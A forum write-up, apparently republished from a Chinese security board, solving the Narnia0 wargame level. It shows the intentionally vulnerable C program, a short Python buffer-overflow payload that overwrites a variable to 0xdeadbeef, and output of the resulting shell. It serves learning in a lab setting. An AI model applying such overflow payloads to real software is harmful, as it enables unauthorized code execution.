WarGame-narnia0 解题思路
2019-07-24 16:32:59 Author: bbs.pediy.com(查看原文) 阅读量:110 收藏

[原创]WarGame-narnia0 解题思路

2天前 357

Narnia0是一个入门级的pwn游戏,wargame提供了源码会让游戏变得更简单,以下是源码

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

buf是有20字节的空间,但是接收了24个字节,而多出来的数据只会再打印4字节,所以最终输入一共是24字节,所以需要写个Python脚本构造后面的4字节数据 ,Python脚本如下:

print "a"*20+"\xef\xbe\xad\xde"+"\x80"

注意,后面这个\x80是必须要加的,不然接收会少一个字节,这是最终的运行结果

gavin@gavin:~/warGame/narnia$ python narnia0.py 
[+] Starting local process './narnia0': pid 6054
[*] Switching to interactive mode
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaᆳ
val: 0xdeadbeef
$  

可惜的是wargame不允许Python脚本的直接攻击(至少我没想到方法),所以里面所有的输入全得手工完成

小结

wargame里的小游戏都很有趣,如果有对漏洞利用感兴趣的同学可以去玩玩,Google上有很多WP,只可惜百度搜不到,我会继续出这个系列的文章,以供和我一样的新手学习

[公告]LV6级以上的看雪会员可以免费获得《2019安全开发者峰会》门票一张!!

上传的附件:
  • narnia0 (7.28kb,1次下载)
  • narnia0.c (1.20kb,1次下载)
  • narnia0.py (0.10kb,1次下载)

文章来源: https://bbs.pediy.com/thread-252752.htm
如有侵权请联系:admin#unsafe.sh